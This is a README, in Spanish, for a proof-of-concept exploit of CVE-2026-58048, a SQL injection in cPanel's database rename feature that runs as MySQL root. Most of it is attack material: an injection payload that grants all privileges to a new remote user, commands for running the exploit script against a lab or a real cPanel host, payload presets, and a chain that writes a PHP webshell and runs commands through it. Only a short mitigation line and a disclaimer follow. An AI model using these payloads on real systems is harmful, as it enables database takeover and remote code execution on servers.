CVE-2026-58048

CVSS 4.0: 9.4 (Crítico) | CWE-89: Inyección SQL | NVD

Un usuario autenticado de cPanel → SQL arbitrario como root de MySQL mediante el renombrado de bases de datos. cPanel conserva incorrectamente el sql_mode de la sesión del usuario (ANSI_QUOTES) al ejecutar operaciones de renombrado como root — una comilla invertida en el nombre de la base de datos rompe el identificador e inyecta SQL.

name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; -- 

Inicio rápido (Laboratorio Docker)

pip install -r requirements.txt

python3 simulate.py start   # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop

El modo de laboratorio se detecta automáticamente — no se necesita la opción --lab.

Objetivo cPanel real

python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
    --payload admin-user --verify

Presets de payload

SQL personalizado: --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"

Cadena RCE completa (Laboratorio)

# 1. Escribir shell en la raíz web
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
    --payload webshell --shell /var/www/html/shell.php

# 2. ¡Ejecutar comandos vía HTTP!
curl "http://localhost:18081/shell.php?0=id"

Versiones afectadas

cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32; WP Squared < 11.138.1.6

Mitigación: actualizar, o revocar la funcionalidad de MySQL a los usuarios de cPanel.

Referencias

• Aviso de cPanel
• SecurityOnline

Solo para pruebas de seguridad autorizadas y fines educativos.